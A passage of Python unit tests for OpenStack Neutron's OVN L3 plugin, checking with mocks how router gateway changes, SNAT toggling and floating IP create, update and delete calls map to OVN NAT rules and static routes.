self.l3_inst._ovn.add_static_route.assert_called_once_with( 'neutron-router-id', ip_prefix='0.0.0.0/0', external_ids={ovn_const.OVN_ROUTER_IS_EXT_GW: 'true', ovn_const.OVN_SUBNET_EXT_ID_KEY: 'ext-subnet-id'}, nexthop='192.168.1.254') self.l3_inst._ovn.add_nat_rule_in_lrouter.assert_called_once_with( 'neutron-router-id', type='snat', logical_ip='10.0.0.0/24', external_ip='192.168.1.1') self.bump_rev_p.assert_called_with( self.admin_context, self.fake_ext_gw_port, ovn_const.TYPE_ROUTER_PORTS) @mock.patch.object(utils, 'get_lrouter_ext_gw_static_route') @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_port') @mock.patch('neutron.plugins.ml2.drivers.ovn.mech_driver.ovsdb.ovn_client' '.OVNClient._get_router_ports') @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_subnet') @mock.patch('neutron.db.extraroute_db.ExtraRoute_dbonly_mixin.' 'update_router') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin.get_router') def test_update_router_ext_gw_change_subnet(self, gr, ur, gs, grps, gp, mock_get_gw): self.l3_inst._ovn.is_col_present.return_value = True mock_get_gw.return_value = [mock.sentinel.GwRoute] router = {'router': {'name': 'router'}} fake_old_ext_subnet = {'id': 'old-ext-subnet-id', 'ip_version': 4, 'cidr': '192.168.2.0/24', 'gateway_ip': '192.168.2.254'} # Old gateway info with same network and different subnet gr.return_value = copy.copy(self.fake_router_with_ext_gw) gr.return_value['external_gateway_info'] = { 'network_id': 'ext-network-id', 'external_fixed_ips': [{'ip_address': '192.168.2.1', 'subnet_id': 'old-ext-subnet-id'}]} gr.return_value['gw_port_id'] = 'old-gw-port-id' ur.return_value = self.fake_router_with_ext_gw gs.side_effect = lambda ctx, sid: { 'ext-subnet-id': self.fake_ext_subnet, 'old-ext-subnet-id': fake_old_ext_subnet}.get(sid, self.fake_subnet) gp.return_value = self.fake_ext_gw_port grps.return_value = self.fake_router_ports self.l3_inst.update_router(self.context, 'router-id', router) # Check deleting old router gateway self.l3_inst._ovn.delete_lrouter_ext_gw.assert_called_once_with( 'neutron-router-id') # Check adding new router gateway self.l3_inst._ovn.add_lrouter_port.assert_called_once_with( **self.fake_ext_gw_port_assert) self.l3_inst._ovn.set_lrouter_port_in_lswitch_port.\ assert_called_once_with( 'gw-port-id', 'lrp-gw-port-id', is_gw_port=True, lsp_address=ovn_const.DEFAULT_ADDR_FOR_LSP_WITH_PEER) self.l3_inst._ovn.add_static_route.assert_called_once_with( 'neutron-router-id', ip_prefix='0.0.0.0/0', nexthop='192.168.1.254', external_ids={ovn_const.OVN_ROUTER_IS_EXT_GW: 'true', ovn_const.OVN_SUBNET_EXT_ID_KEY: 'ext-subnet-id'}) self.l3_inst._ovn.add_nat_rule_in_lrouter.assert_called_once_with( 'neutron-router-id', type='snat', logical_ip='10.0.0.0/24', external_ip='192.168.1.1') self.bump_rev_p.assert_called_with( self.admin_context, self.fake_ext_gw_port, ovn_const.TYPE_ROUTER_PORTS) self.del_rev_p.assert_called_once_with( self.admin_context, 'old-gw-port-id', ovn_const.TYPE_ROUTER_PORTS) @mock.patch.object(utils, 'get_lrouter_ext_gw_static_route') @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_port') @mock.patch('neutron.plugins.ml2.drivers.ovn.mech_driver.ovsdb.ovn_client.' 'OVNClient._get_router_ports') @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_subnet') @mock.patch('neutron.db.extraroute_db.ExtraRoute_dbonly_mixin.' 'update_router') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin.get_router') def test_update_router_ext_gw_change_ip_address(self, gr, ur, gs, grps, gp, mock_get_gw): self.l3_inst._ovn.is_col_present.return_value = True mock_get_gw.return_value = [mock.sentinel.GwRoute] router = {'router': {'name': 'router'}} # Old gateway info with same subnet and different ip address gr_value = copy.deepcopy(self.fake_router_with_ext_gw) gr_value['external_gateway_info'][ 'external_fixed_ips'][0]['ip_address'] = '192.168.1.2' gr_value['gw_port_id'] = 'old-gw-port-id' gr.return_value = gr_value ur.return_value = self.fake_router_with_ext_gw gs.side_effect = lambda ctx, sid: { 'ext-subnet-id': self.fake_ext_subnet}.get(sid, self.fake_subnet) gp.return_value = self.fake_ext_gw_port grps.return_value = self.fake_router_ports self.l3_inst.update_router(self.context, 'router-id', router) # Check deleting old router gateway self.l3_inst._ovn.delete_lrouter_ext_gw.assert_called_once_with( 'neutron-router-id') # Check adding new router gateway self.l3_inst._ovn.add_lrouter_port.assert_called_once_with( **self.fake_ext_gw_port_assert) self.l3_inst._ovn.set_lrouter_port_in_lswitch_port.\ assert_called_once_with( 'gw-port-id', 'lrp-gw-port-id', is_gw_port=True, lsp_address=ovn_const.DEFAULT_ADDR_FOR_LSP_WITH_PEER) self.l3_inst._ovn.add_static_route.assert_called_once_with( 'neutron-router-id', ip_prefix='0.0.0.0/0', nexthop='192.168.1.254', external_ids={ovn_const.OVN_ROUTER_IS_EXT_GW: 'true', ovn_const.OVN_SUBNET_EXT_ID_KEY: 'ext-subnet-id'}) self.l3_inst._ovn.add_nat_rule_in_lrouter.assert_called_once_with( 'neutron-router-id', type='snat', logical_ip='10.0.0.0/24', external_ip='192.168.1.1') @mock.patch('neutron.plugins.ml2.drivers.ovn.mech_driver.ovsdb.' 'ovn_client.OVNClient._get_v4_network_of_all_router_ports') @mock.patch('neutron.db.extraroute_db.ExtraRoute_dbonly_mixin.' 'update_router') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin.get_router') def test_update_router_ext_gw_no_change(self, gr, ur, get_rps): router = {'router': {'name': 'router'}} gr.return_value = self.fake_router_with_ext_gw ur.return_value = self.fake_router_with_ext_gw self.l3_inst._ovn.get_lrouter.return_value = ( fake_resources.FakeOVNRouter.from_neutron_router( self.fake_router_with_ext_gw)) self.l3_inst.update_router(self.context, 'router-id', router) self.l3_inst._ovn.lrp_del.assert_not_called() self.l3_inst._ovn.delete_static_route.assert_not_called() self.l3_inst._ovn.delete_nat_rule_in_lrouter.assert_not_called() self.l3_inst._ovn.add_lrouter_port.assert_not_called() self.l3_inst._ovn.set_lrouter_port_in_lswitch_port.assert_not_called() self.l3_inst._ovn.add_static_route.assert_not_called() self.l3_inst._ovn.add_nat_rule_in_lrouter.assert_not_called() @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_port') @mock.patch('neutron.plugins.ml2.drivers.ovn.mech_driver.ovsdb.ovn_client' '.OVNClient._get_v4_network_of_all_router_ports') @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_subnet') @mock.patch('neutron.db.extraroute_db.ExtraRoute_dbonly_mixin.' 'update_router') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin.get_router') def test_update_router_with_ext_gw_and_disabled_snat(self, gr, ur, gs, grps, gp): self.l3_inst._ovn.is_col_present.return_value = True router = {'router': {'name': 'router'}} gr.return_value = self.fake_router_without_ext_gw ur.return_value = self.fake_router_with_ext_gw ur.return_value['external_gateway_info']['enable_snat'] = False gs.side_effect = lambda ctx, sid: { 'ext-subnet-id': self.fake_ext_subnet}.get(sid, self.fake_subnet) gp.return_value = self.fake_ext_gw_port grps.return_value = self.fake_router_ports self.l3_inst.update_router(self.context, 'router-id', router) # Need not check lsp and lrp here, it has been tested in other cases self.l3_inst._ovn.add_static_route.assert_called_once_with( 'neutron-router-id', ip_prefix='0.0.0.0/0', external_ids={ovn_const.OVN_ROUTER_IS_EXT_GW: 'true', ovn_const.OVN_SUBNET_EXT_ID_KEY: 'ext-subnet-id'}, nexthop='192.168.1.254') self.l3_inst._ovn.add_nat_rule_in_lrouter.assert_not_called() @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_port') @mock.patch('neutron.plugins.ml2.drivers.ovn.mech_driver.ovsdb.ovn_client' '.OVNClient._get_router_ports') @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_subnet') @mock.patch('neutron.db.extraroute_db.ExtraRoute_dbonly_mixin.' 'update_router') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin.get_router') def test_enable_snat(self, gr, ur, gs, grps, gp): router = {'router': {'name': 'router'}} gr.return_value = copy.deepcopy(self.fake_router_with_ext_gw) gr.return_value['external_gateway_info']['enable_snat'] = False ur.return_value = self.fake_router_with_ext_gw self.l3_inst._ovn.get_lrouter.return_value = ( fake_resources.FakeOVNRouter.from_neutron_router( self.fake_router_with_ext_gw)) gs.side_effect = lambda ctx, sid: { 'ext-subnet-id': self.fake_ext_subnet}.get(sid, self.fake_subnet) gp.return_value = self.fake_ext_gw_port grps.return_value = self.fake_router_ports self.l3_inst.update_router(self.context, 'router-id', router) self.l3_inst._ovn.delete_static_route.assert_not_called() self.l3_inst._ovn.delete_nat_rule_in_lrouter.assert_not_called() self.l3_inst._ovn.add_static_route.assert_not_called() self.l3_inst._ovn.add_nat_rule_in_lrouter.assert_called_once_with( 'neutron-router-id', type='snat', logical_ip='10.0.0.0/24', external_ip='192.168.1.1') @mock.patch('neutron.plugins.ml2.drivers.ovn.mech_driver.ovsdb.' 'ovn_client.OVNClient._check_external_ips_changed') @mock.patch.object(utils, 'get_lrouter_snats') @mock.patch.object(utils, 'get_lrouter_ext_gw_static_route') @mock.patch('neutron.common.ovn.utils.is_snat_enabled', mock.Mock(return_value=True)) @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_port') @mock.patch('neutron.plugins.ml2.drivers.ovn.mech_driver.ovsdb.' 'ovn_client.OVNClient._get_router_ports') @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_subnet') @mock.patch('neutron.db.extraroute_db.ExtraRoute_dbonly_mixin.' 'update_router') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin.get_router') def test_disable_snat(self, gr, ur, gs, grps, gp, mock_get_gw, mock_snats, mock_ext_ips): mock_get_gw.return_value = [mock.sentinel.GwRoute] mock_snats.return_value = [mock.sentinel.NAT] mock_ext_ips.return_value = False router = {'router': {'name': 'router'}} gr.return_value = self.fake_router_with_ext_gw ur.return_value = copy.deepcopy(self.fake_router_with_ext_gw) ur.return_value['external_gateway_info']['enable_snat'] = False gs.side_effect = lambda ctx, sid: { 'ext-subnet-id': self.fake_ext_subnet}.get(sid, self.fake_subnet) gp.return_value = self.fake_ext_gw_port grps.return_value = self.fake_router_ports self.l3_inst.update_router(self.context, 'router-id', router) self.l3_inst._ovn.delete_static_route.assert_not_called() self.l3_inst._ovn.delete_nat_rule_in_lrouter.assert_called_once_with( 'neutron-router-id', type='snat', logical_ip='10.0.0.0/24', external_ip='192.168.1.1') self.l3_inst._ovn.add_static_route.assert_not_called() self.l3_inst._ovn.add_nat_rule_in_lrouter.assert_not_called() @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin._get_floatingip') def test_create_floatingip(self, gf): self.get_a_ctx_mock_p.stop() self.l3_inst._ovn.is_col_present.return_value = True gf.return_value = {'floating_port_id': 'fip-port-id'} self.l3_inst.create_floatingip(self.context, 'floatingip') expected_ext_ids = { ovn_const.OVN_FIP_EXT_ID_KEY: self.fake_floating_ip['id'], ovn_const.OVN_REV_NUM_EXT_ID_KEY: '1', ovn_const.OVN_FIP_PORT_EXT_ID_KEY: self.fake_floating_ip['port_id'], ovn_const.OVN_ROUTER_NAME_EXT_ID_KEY: utils.ovn_name( self.fake_floating_ip['router_id'])} self.l3_inst._ovn.add_nat_rule_in_lrouter.assert_called_once_with( 'neutron-router-id', type='dnat_and_snat', logical_ip='10.0.0.10', external_ip='192.168.0.10', external_ids=expected_ext_ids) self.l3_inst._ovn.delete_lswitch_port.assert_called_once_with( 'fip-port-id', 'neutron-fip-net-id') @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_port') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin._get_floatingip') def test_create_floatingip_distributed(self, gf, gp): self.get_a_ctx_mock_p.stop() self.l3_inst._ovn.is_col_present.return_value = True gp.return_value = {'mac_address': '00:01:02:03:04:05', 'network_id': 'port-network-id'} gf.return_value = {'floating_port_id': 'fip-port-id'} config.cfg.CONF.set_override( 'enable_distributed_floating_ip', True, group='ovn') self.l3_inst.create_floatingip(self.context, 'floatingip') expected_ext_ids = { ovn_const.OVN_FIP_EXT_ID_KEY: self.fake_floating_ip['id'], ovn_const.OVN_REV_NUM_EXT_ID_KEY: '1', ovn_const.OVN_FIP_PORT_EXT_ID_KEY: self.fake_floating_ip['port_id'], ovn_const.OVN_ROUTER_NAME_EXT_ID_KEY: utils.ovn_name( self.fake_floating_ip['router_id']), ovn_const.OVN_FIP_EXT_MAC_KEY: '00:01:02:03:04:05'} self.l3_inst._ovn.add_nat_rule_in_lrouter.assert_called_once_with( 'neutron-router-id', type='dnat_and_snat', logical_ip='10.0.0.10', external_ip='192.168.0.10', external_mac='00:01:02:03:04:05', logical_port='port_id', external_ids=expected_ext_ids) @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_port') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin._get_floatingip') def test_create_floatingip_distributed_logical_port_down(self, gf, gp): self.get_a_ctx_mock_p.stop() # Check that when the port is down, the external_mac field is not # populated. This falls back to centralized routing for ports that # are not bound to a chassis. self.l3_inst._ovn.is_col_present.return_value = True self.l3_inst._ovn.lsp_get_up.return_value.execute.return_value = ( False) gp.return_value = {'mac_address': '00:01:02:03:04:05'} gf.return_value = {'floating_port_id': 'fip-port-id'} config.cfg.CONF.set_override( 'enable_distributed_floating_ip', True, group='ovn') self.l3_inst.create_floatingip(self.context, 'floatingip') expected_ext_ids = { ovn_const.OVN_FIP_EXT_ID_KEY: self.fake_floating_ip['id'], ovn_const.OVN_REV_NUM_EXT_ID_KEY: '1', ovn_const.OVN_FIP_PORT_EXT_ID_KEY: self.fake_floating_ip['port_id'], ovn_const.OVN_ROUTER_NAME_EXT_ID_KEY: utils.ovn_name( self.fake_floating_ip['router_id']), ovn_const.OVN_FIP_EXT_MAC_KEY: '00:01:02:03:04:05'} self.l3_inst._ovn.add_nat_rule_in_lrouter.assert_called_once_with( 'neutron-router-id', type='dnat_and_snat', logical_ip='10.0.0.10', external_ip='192.168.0.10', logical_port='port_id', external_ids=expected_ext_ids) @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin._get_floatingip') def test_create_floatingip_external_ip_present_in_nat_rule(self, gf): self.get_a_ctx_mock_p.stop() self.l3_inst._ovn.is_col_present.return_value = True gf.return_value = {'floating_port_id': 'fip-port-id'} self.l3_inst._ovn.get_lrouter_nat_rules.return_value = [ {'external_ip': '192.168.0.10', 'logical_ip': '10.0.0.6', 'type': 'dnat_and_snat', 'uuid': 'uuid1'}] self.l3_inst.create_floatingip(self.context, 'floatingip') expected_ext_ids = { ovn_const.OVN_FIP_EXT_ID_KEY: self.fake_floating_ip['id'], ovn_const.OVN_REV_NUM_EXT_ID_KEY: '1', ovn_const.OVN_FIP_PORT_EXT_ID_KEY: self.fake_floating_ip['port_id'], ovn_const.OVN_ROUTER_NAME_EXT_ID_KEY: utils.ovn_name( self.fake_floating_ip['router_id'])} self.l3_inst._ovn.add_nat_rule_in_lrouter.assert_called_once_with( 'neutron-router-id', type='dnat_and_snat', logical_ip='10.0.0.10', external_ip='192.168.0.10', external_ids=expected_ext_ids) self.l3_inst._ovn.delete_lswitch_port.assert_called_once_with( 'fip-port-id', 'neutron-fip-net-id') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin._get_floatingip') def test_create_floatingip_external_ip_present_type_snat(self, gf): self.get_a_ctx_mock_p.stop() self.l3_inst._ovn.is_col_present.return_value = True gf.return_value = {'floating_port_id': 'fip-port-id'} self.l3_inst._ovn.get_lrouter_nat_rules.return_value = [ {'external_ip': '192.168.0.10', 'logical_ip': '10.0.0.0/24', 'type': 'snat', 'uuid': 'uuid1'}] self.l3_inst.create_floatingip(self.context, 'floatingip') self.l3_inst._ovn.set_nat_rule_in_lrouter.assert_not_called() expected_ext_ids = { ovn_const.OVN_FIP_EXT_ID_KEY: self.fake_floating_ip['id'], ovn_const.OVN_REV_NUM_EXT_ID_KEY: '1', ovn_const.OVN_FIP_PORT_EXT_ID_KEY: self.fake_floating_ip['port_id'], ovn_const.OVN_ROUTER_NAME_EXT_ID_KEY: utils.ovn_name( self.fake_floating_ip['router_id'])} self.l3_inst._ovn.add_nat_rule_in_lrouter.assert_called_once_with( 'neutron-router-id', type='dnat_and_snat', logical_ip='10.0.0.10', external_ip='192.168.0.10', external_ids=expected_ext_ids) self.l3_inst._ovn.delete_lswitch_port.assert_called_once_with( 'fip-port-id', 'neutron-fip-net-id') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin._get_floatingip') def test_create_floatingip_lsp_external_id(self, gf): self.get_a_ctx_mock_p.stop() foo_lport = fake_resources.FakeOvsdbRow.create_one_ovsdb_row() foo_lport.uuid = 'foo-port' self.l3_inst._ovn.get_lswitch_port.return_value = foo_lport self.l3_inst.create_floatingip(self.context, 'floatingip') calls = [mock.call( 'Logical_Switch_Port', 'foo-port', ('external_ids', {ovn_const.OVN_PORT_FIP_EXT_ID_KEY: '192.168.0.10'}))] self.l3_inst._ovn.db_set.assert_has_calls(calls) @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin._get_floatingip') @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_port') def test_create_floatingip_lb_member_fip(self, gp, gf): self.get_a_ctx_mock_p.stop() config.cfg.CONF.set_override( 'enable_distributed_floating_ip', True, group='ovn') # Stop this mock. self.mock_is_lb_member_fip.stop() gp.return_value = self.member_port gf.return_value = self.fake_floating_ip self.l3_inst._ovn.lookup.return_value = self.lb_network self.l3_inst._ovn.get_lswitch_port.return_value = self.member_lsp self.l3_inst.create_floatingip(self.context, 'floatingip') # Validate that there is no external_mac and logical_port while # setting the NAT entry. self.l3_inst._ovn.add_nat_rule_in_lrouter.assert_called_once_with( 'neutron-router-id', external_ip='192.168.0.10', logical_ip='10.0.0.10', type='dnat_and_snat') @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_subnet') def test_create_floatingip_lb_vip_fip(self, gs): self.get_a_ctx_mock_p.stop() config.cfg.CONF.set_override( 'enable_distributed_floating_ip', True, group='ovn') gs.return_value = self.member_subnet self.l3_inst._ovn.get_lswitch_port.return_value = self.lb_vip_lsp self.l3_inst._ovn.db_find_rows.return_value.execute.side_effect = [ [self.ovn_lb], [self.lb_network], [self.fake_ovn_nat_rule], ] self.l3_inst._ovn.lookup.return_value = self.lb_network self.l3_inst.create_floatingip(self.context, 'floatingip') self.l3_inst._ovn.add_nat_rule_in_lrouter.assert_called_once_with( 'neutron-router-id', external_ip='192.168.0.10', external_mac='aa:aa:aa:aa:aa:aa', logical_ip='10.0.0.10', logical_port='port_id', type='dnat_and_snat') self.l3_inst._ovn.db_find_rows.assert_called_with( 'NAT', ('external_ids', '=', {ovn_const.OVN_FIP_PORT_EXT_ID_KEY: self.member_lsp.name})) # Validate that it clears external_mac/logical_port for member NAT. self.l3_inst._ovn.db_clear.assert_has_calls([ mock.call('NAT', self.fake_ovn_nat_rule.uuid, 'external_mac'), mock.call('NAT', self.fake_ovn_nat_rule.uuid, 'logical_port')]) @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin.delete_floatingip') def test_delete_floatingip(self, df): self.l3_inst._ovn.get_floatingip.return_value = ( self.fake_ovn_nat_rule) self.l3_inst.delete_floatingip(self.context, 'floatingip-id') self.l3_inst._ovn.delete_nat_rule_in_lrouter.assert_called_once_with( 'neutron-router-id', type='dnat_and_snat', logical_ip='10.0.0.10', external_ip='192.168.0.10') @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_subnet') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin._get_floatingip') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin.delete_floatingip') def test_delete_floatingip_lb_vip_fip(self, df, gf, gs): config.cfg.CONF.set_override( 'enable_distributed_floating_ip', True, group='ovn') gs.return_value = self.member_subnet gf.return_value = self.fake_floating_ip self.l3_inst._ovn.get_floatingip.return_value = ( self.fake_ovn_nat_rule) self.l3_inst._ovn.get_lswitch_port.return_value = self.lb_vip_lsp self.l3_inst._ovn.db_find_rows.return_value.execute.side_effect = [ [self.ovn_lb], [self.lb_network], [self.fake_ovn_nat_rule], ] self.l3_inst._ovn.lookup.return_value = self.lb_network self.l3_inst.delete_floatingip(self.context, 'floatingip-id') self.l3_inst._ovn.delete_nat_rule_in_lrouter.assert_called_once_with( 'neutron-router-id', type='dnat_and_snat', logical_ip='10.0.0.10', external_ip='192.168.0.10') self.l3_inst._ovn.db_find_rows.assert_called_with( 'NAT', ('external_ids', '=', {ovn_const.OVN_FIP_PORT_EXT_ID_KEY: self.member_lsp.name})) self.l3_inst._plugin.get_port.assert_called_once_with( mock.ANY, self.member_lsp.name) # Validate that it adds external_mac/logical_port back. self.l3_inst._ovn.db_set.assert_has_calls([ mock.call('NAT', self.fake_ovn_nat_rule.uuid, ('logical_port', self.member_lsp.name)), mock.call('NAT', self.fake_ovn_nat_rule.uuid, ('external_mac', 'aa:aa:aa:aa:aa:aa'))]) @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin._get_floatingip') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin.delete_floatingip') def test_delete_floatingip_lsp_external_id(self, df, gf): gf.return_value = self.fake_floating_ip self.l3_inst._ovn.get_floatingip.return_value = ( self.fake_ovn_nat_rule) foo_lport = fake_resources.FakeOvsdbRow.create_one_ovsdb_row() foo_lport.uuid = 'foo-port' foo_lport.external_ids = { ovn_const.OVN_PORT_FIP_EXT_ID_KEY: 'foo-port'} self.l3_inst._ovn.get_lswitch_port.return_value = foo_lport self.l3_inst.delete_floatingip(self.context, 'floatingip-id') calls = [mock.call( 'Logical_Switch_Port', 'foo-port', 'external_ids', ovn_const.OVN_PORT_FIP_EXT_ID_KEY)] self.l3_inst._ovn.db_remove.assert_has_calls(calls) @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin._get_floatingip') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin.delete_floatingip') def test_delete_floatingip_no_lsp_external_id(self, df, gf): gf.return_value = self.fake_floating_ip self.l3_inst._ovn.get_floatingip.return_value = ( self.fake_ovn_nat_rule) self.l3_inst._ovn.get_lswitch_port.return_value = None self.l3_inst.delete_floatingip(self.context, 'floatingip-id') self.l3_inst._ovn.db_remove.assert_not_called() @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin._get_floatingip') @mock.patch('neutron.db.extraroute_db.ExtraRoute_dbonly_mixin.' 'update_floatingip') def test_update_floatingip(self, uf, gf): self.get_a_ctx_mock_p.stop() self.l3_inst._ovn.is_col_present.return_value = True gf.return_value = self.fake_floating_ip uf.return_value = self.fake_floating_ip_new self.l3_inst._ovn.get_floatingip.return_value = ( self.fake_ovn_nat_rule) self.l3_inst.update_floatingip(self.context, 'id', 'floatingip') self.l3_inst._ovn.delete_nat_rule_in_lrouter.assert_called_once_with( 'neutron-router-id', type='dnat_and_snat', logical_ip='10.0.0.10', external_ip='192.168.0.10') expected_ext_ids = { ovn_const.OVN_FIP_EXT_ID_KEY: self.fake_floating_ip_new['id'], ovn_const.OVN_REV_NUM_EXT_ID_KEY: '1', ovn_const.OVN_FIP_PORT_EXT_ID_KEY: self.fake_floating_ip_new['port_id'], ovn_const.OVN_ROUTER_NAME_EXT_ID_KEY: utils.ovn_name( self.fake_floating_ip_new['router_id'])} self.l3_inst._ovn.add_nat_rule_in_lrouter.assert_called_once_with( 'neutron-new-router-id', type='dnat_and_snat', logical_ip='10.10.10.10', external_ip='192.168.0.10', external_ids=expected_ext_ids) @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin._get_floatingip') @mock.patch('neutron.db.extraroute_db.ExtraRoute_dbonly_mixin.' 'update_floatingip') def test_update_floatingip_associate(self, uf, gf): self.get_a_ctx_mock_p.stop() self.l3_inst._ovn.is_col_present.return_value = True self.fake_floating_ip.update({'fixed_port_id': None}) gf.return_value = self.fake_floating_ip uf.return_value = self.fake_floating_ip_new self.l3_inst.update_floatingip(self.context, 'id', 'floatingip') self.l3_inst._ovn.delete_nat_rule_in_lrouter.assert_not_called() expected_ext_ids = { ovn_const.OVN_FIP_EXT_ID_KEY: self.fake_floating_ip_new['id'], ovn_const.OVN_REV_NUM_EXT_ID_KEY: '1', ovn_const.OVN_FIP_PORT_EXT_ID_KEY: self.fake_floating_ip_new['port_id'], ovn_const.OVN_ROUTER_NAME_EXT_ID_KEY: utils.ovn_name( self.fake_floating_ip_new['router_id'])} self.l3_inst._ovn.add_nat_rule_in_lrouter.assert_called_once_with( 'neutron-new-router-id', type='dnat_and_snat', logical_ip='10.10.10.10', external_ip='192.168.0.10', external_ids=expected_ext_ids) @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_network') @mock.patch('neutron.db.db_base_plugin_v2.NeutronDbPluginV2.get_port') @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin._get_floatingip') @mock.patch('neutron.db.extraroute_db.ExtraRoute_dbonly_mixin.' 'update_floatingip') def test_update_floatingip_associate_distributed(self, uf, gf, gp, gn): self.get_a_ctx_mock_p.stop() self.l3_inst._ovn.is_col_present.return_value = True self.fake_floating_ip.update({'fixed_port_id': None}) gp.return_value = {'mac_address': '00:01:02:03:04:05', 'network_id': 'port-network-id'} gf.return_value = self.fake_floating_ip uf.return_value = self.fake_floating_ip_new fake_network_vlan = self.fake_network fake_network_vlan[pnet.NETWORK_TYPE] = constants.TYPE_FLAT gn.return_value = fake_network_vlan config.cfg.CONF.set_override( 'enable_distributed_floating_ip', True, group='ovn') self.l3_inst.update_floatingip(self.context, 'id', 'floatingip') self.l3_inst._ovn.delete_nat_rule_in_lrouter.assert_not_called() expected_ext_ids = { ovn_const.OVN_FIP_EXT_ID_KEY: self.fake_floating_ip_new['id'], ovn_const.OVN_REV_NUM_EXT_ID_KEY: '1', ovn_const.OVN_FIP_PORT_EXT_ID_KEY: self.fake_floating_ip_new['port_id'], ovn_const.OVN_ROUTER_NAME_EXT_ID_KEY: utils.ovn_name( self.fake_floating_ip_new['router_id']), ovn_const.OVN_FIP_EXT_MAC_KEY: '00:01:02:03:04:05'} self.l3_inst._ovn.add_nat_rule_in_lrouter.assert_called_once_with( 'neutron-new-router-id', type='dnat_and_snat', logical_ip='10.10.10.10', external_ip='192.168.0.10', external_mac='00:01:02:03:04:05', logical_port='new-port_id', external_ids=expected_ext_ids) @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin._get_floatingip') @mock.patch('neutron.db.extraroute_db.ExtraRoute_dbonly_mixin.' 'update_floatingip') def test_update_floatingip_association_empty_update(self, uf, gf): self.get_a_ctx_mock_p.stop() self.l3_inst._ovn.is_col_present.return_value = True self.l3_inst._ovn.get_floatingip.return_value = ( self.fake_ovn_nat_rule) self.fake_floating_ip.update({'fixed_port_id': 'foo'}) self.fake_floating_ip_new.update({'port_id': 'foo'}) gf.return_value = self.fake_floating_ip uf.return_value = self.fake_floating_ip_new self.l3_inst.update_floatingip(self.context, 'id', 'floatingip') self.l3_inst._ovn.delete_nat_rule_in_lrouter.assert_called_once_with( 'neutron-router-id', type='dnat_and_snat', logical_ip='10.0.0.10', external_ip='192.168.0.10') expected_ext_ids = { ovn_const.OVN_FIP_EXT_ID_KEY: self.fake_floating_ip_new['id'], ovn_const.OVN_REV_NUM_EXT_ID_KEY: '1', ovn_const.OVN_FIP_PORT_EXT_ID_KEY: self.fake_floating_ip_new['port_id'], ovn_const.OVN_ROUTER_NAME_EXT_ID_KEY: utils.ovn_name( self.fake_floating_ip_new['router_id'])} self.l3_inst._ovn.add_nat_rule_in_lrouter.assert_called_once_with( 'neutron-new-router-id', type='dnat_and_snat', logical_ip='10.10.10.10', external_ip='192.168.0.10', external_ids=expected_ext_ids) @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin._get_floatingip') @mock.patch('neutron.db.extraroute_db.ExtraRoute_dbonly_mixin.' 'update_floatingip') def test_update_floatingip_reassociate_to_same_port_diff_fixed_ip( self, uf, gf): self.get_a_ctx_mock_p.stop() self.l3_inst._ovn.is_col_present.return_value = True self.l3_inst._ovn.get_floatingip.return_value = ( self.fake_ovn_nat_rule) self.fake_floating_ip_new.update({'port_id': 'port_id', 'fixed_port_id': 'port_id'}) gf.return_value = self.fake_floating_ip uf.return_value = self.fake_floating_ip_new self.l3_inst.update_floatingip(self.context, 'id', 'floatingip') self.l3_inst._ovn.delete_nat_rule_in_lrouter.assert_called_once_with( 'neutron-router-id', type='dnat_and_snat', logical_ip='10.0.0.10', external_ip='192.168.0.10') expected_ext_ids = { ovn_const.OVN_FIP_EXT_ID_KEY: self.fake_floating_ip_new['id'], ovn_const.OVN_REV_NUM_EXT_ID_KEY: '1', ovn_const.OVN_FIP_PORT_EXT_ID_KEY: self.fake_floating_ip_new['port_id'], ovn_const.OVN_ROUTER_NAME_EXT_ID_KEY: utils.ovn_name( self.fake_floating_ip_new['router_id'])} self.l3_inst._ovn.add_nat_rule_in_lrouter.assert_called_once_with( 'neutron-new-router-id', type='dnat_and_snat', logical_ip='10.10.10.10', external_ip='192.168.0.10', external_ids=expected_ext_ids) @mock.patch('neutron.db.l3_db.L3_NAT_dbonly_mixin.get_floatingips') def test_disassociate_floatingips(self, gfs): gfs.return_value = [{'id': 'fip-id1', 'floating_ip_address': '192.168.0.10', 'router_id': 'router-id', 